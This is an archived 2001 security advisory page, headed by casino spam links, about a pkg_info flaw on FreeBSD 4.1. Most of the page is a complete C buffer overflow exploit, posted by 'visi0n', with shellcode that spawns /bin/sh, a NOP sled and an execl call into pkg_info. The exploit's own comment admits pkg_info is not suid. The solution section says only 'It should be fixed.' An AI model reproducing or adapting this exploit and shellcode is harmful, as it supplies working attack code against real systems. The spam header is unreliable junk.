Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
10th Feb 2001 [SBWID-181]
COMMAND
	    pkginfo
SYSTEMS AFFECTED
	    FreeBSD 4.1
PROBLEM
	    'visi0n' posted following.
	
	    /*
	     *	FreeBSD 4.1 x86 pkg_info exploit.
	     *	anthrax# ./AUX-pkg_info 4301 2000
	     *	Author: visi0n.
	     *	AUX TECHNOLOGIES BRASIL.
	     *	Comments: This is for fun, because pkg_info isnt suid.
	     */
	    #include <stdio.h>
	    #include <string.h>
	    #define OFFSET			0
	    #define BUFFER_SIZE		4301
	    #define NOP			0x90
	    char shellcode[]=
	    "\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76"
	    "\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b"
	    "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff"
	    "\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff"
	    "\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"
	    "\x02\x02\x02/bin/sh.-c.sh";
	    unsigned long get_esp()
	    {
		    __asm__("movl %esp,%eax");
	    }
	    void main(int argc, char *argv[])
	    {
		    char *buff, *ptr;
		    long *addr_ptr, addr;
		    int offset = OFFSET, bsize = BUFFER_SIZE;
		    int i;
		    if (argc > 1) bsize = atoi(argv[1]);
		    if (argc > 2) offset = atoi(argv[2]);
		    buff = malloc(bsize);
		    addr = get_esp() - offset;
		    printf("0x%x\n", addr);
		    ptr = buff;
		    addr_ptr = (long *)ptr;
		    for (i = 0; i < bsize; i += 4)
			    *(addr_ptr++) = addr;
		    for (i = 0; i < bsize/2; i++)
			    buff[i] = NOP;
		    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
		    for (i = 0; i < strlen(shellcode); i++)
			    *(ptr++) = shellcode[i];
		    buff[bsize -1] = '\0';
		    printf("%d\n", strlen(buff));
		    execl("/usr/sbin/pkg_info", "pkg_info", buff, 0);
	    }
	
SOLUTION
	    It should be fixed.
	

Internet highlights